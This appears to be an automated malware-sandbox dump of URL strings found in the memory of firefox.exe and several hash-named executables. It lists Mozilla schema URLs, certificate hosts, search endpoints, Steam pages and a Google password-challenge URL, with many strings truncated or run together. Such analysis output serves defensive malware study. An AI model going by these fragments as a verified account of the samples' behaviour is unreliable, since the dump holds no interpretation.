Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsmoz-extension://987b
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsEndpoint
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 00000017.00000002.3123219764.0000028825174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR
Source: firefox.exe, 00000017.00000002.3123219764.0000028825174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR%
Source: firefox.exe, 00000017.00000002.3123219764.0000028825174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR%2528not%2Bset%2529
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 00000017.00000002.3123219764.0000028825174000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 00000017.00000002.3123219764.0000028825174000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/insecureFallback
Source: firefox.exe, 00000017.00000002.3123219764.0000028825174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/insecureFallbackresource://gre/modules/SelectionUtils.sys.mjs
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000017.00000002.3123219764.0000028825174000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 00000017.00000002.3123219764.0000028825174000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 00000017.00000002.3142479922.000002882B1E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3109502622.0000028823503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3119588541.00000288245C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3054203227.0000028825F26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127499591.0000028825D1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3094636474.0000028821373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B1A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3113740588.0000028823D67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3114071187.0000028823E17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136131326.0000028826ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3053217524.00000288260A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3113122822.0000028823CE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3042947416.000002882E2E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3111250234.000002882385B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3108949282.000002882344F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3143683785.000002882B203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136131326.0000028826A1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3113122822.0000028823CBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000017.00000002.3149714295.000002882B64C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000017.00000002.3149714295.000002882B64C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000017.00000002.3149714295.000002882B64C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 7e96f85771.exe, 7e96f85771.exe, 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateSERVICE_NOT_ENOUGH_COMMAND_LINE_ARGSSERVICE_STILL_APPLYING_ON_
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000017.00000002.3113740588.0000028823D67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125715171.0000028825B2A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3114071187.0000028823E17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F8AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3113740588.0000028823D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F898000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055110674.0000028825DE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3108949282.000002882344F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3114716979.0000028823FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127499591.0000028825D90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125715171.0000028825BBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F8A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044675435.0000028825DE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F825000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047550593.000002882E25D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3114716979.0000028823FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul#shouldDisplayRemovalOfEngineNotificati
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulbrowser.searchinit.secure_opensearch_up
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttps://bugzilla.mozilla.org/show_bug.c
Source: firefox.exe, 00000017.00000002.3127499591.0000028825DE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055110674.0000028825DE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044675435.0000028825DE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulp
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/AppMenuNotificat
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/ExtensionSetting
Source: 7e96f85771.exe, 00000008.00000002.3210246061.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3194324257.000000001D912000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: firefox.exe, 00000017.00000002.3149714295.000002882B64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: firefox.exe, 00000017.00000002.3149714295.000002882B64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000017.00000002.3137866600.0000028826C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caget
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089829933.000002881F2C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: 88edf6a100.exe, 0000000A.00000003.3002709062.000000000117F000.00000004.00000020.00020000.00000000.sdmp, 88edf6a100.exe, 0000000A.00000002.3009612520.000000000117F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F70C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055319018.000002882E07D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B1F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3171068076.000002882D72A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824356000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.3086539959.0000028814EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 00000017.00000003.3055319018.000002882E07D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwderIdL
Source: firefox.exe, 00000017.00000002.3108949282.0000028823403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000017.00000002.3123219764.0000028825105000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3119588541.00000288245B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3122697624.0000028824B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.000002882510C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000017.00000002.3180688170.000022DAD3C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000017.00000002.3163888580.000002882BA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000017.00000002.3163888580.000002882BA24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000017.00000002.3085847545.0000028813611000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: f84005b97f.exe, 00000007.00000003.2813057343.0000000001437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.s$oC
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: firefox.exe, 00000017.00000002.3180688170.000022DAD3C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: 7e96f85771.exe, 00000008.00000002.3201117292.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 7e96f85771.exe, 00000008.00000002.3201117292.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
